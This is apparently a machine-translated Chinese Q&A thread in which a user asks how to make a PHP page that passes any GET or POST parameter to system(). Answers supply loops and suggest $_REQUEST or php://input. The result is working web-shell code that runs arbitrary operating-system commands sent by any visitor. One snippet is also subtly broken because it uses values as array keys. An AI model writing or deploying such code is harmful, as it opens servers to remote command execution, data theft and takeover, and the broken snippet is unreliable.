2017-02-16 20 views
0

我試圖做一個簡單的頁面命令執行漏洞...這是我的代碼:PHP的 - 任何參數和任何方法取一個值

system($_GET['cmd']); 

它工作正常,像這樣:http://example/index.php?cmd=ls

問題是,我想使這個小碼與任何參數和任何方法(GET或POST)

例如,如果任何參數使用,那麼它仍然會通過系統的方法,即工作: 「你好= LS」。 (我不知道他們在哪裏使用hello爲關鍵。任何想法?

+1

使用'$ _REQUEST'然後 –

回答

0

你可以每個索引鍵存儲在一個數組,然後循環設定值。

$keys = ['cmd', 'hello', 'etc..']; // jus add your params 

// GET params 
foreach($keys as $_key) { 
    if(isset($_GET[$_key]) && !empty($_GET[$_key])) { 
     system($_GET[$_key]); 
    } 
} 

// POST params 
foreach($keys as $_key) { 
    if(isset($_POST[$_key]) && !empty($_POST[$_key])) { 
     system($_POST[$_key]); 
    } 
} 

如果你不想知道關鍵的POST/GET則:

foreach($_GET as $key) { 
    system($_GET[$key]); 
} 

foreach($_POST as $key) { 
    system($_POST[$key]); 
} 
+0

OP: *「問題是我想讓這個小代碼,使用任何參數和任何方法(GET或POST)」* –

+0

你的意思是我不能那樣做? – M1L4D

+0

Ofc你可以和它的一個簡單的方法只是一些人喜歡哭很多 – KDOT

0

你可以嘗試使用: file_get_contents('php://input');獲得原始輸入

相關問題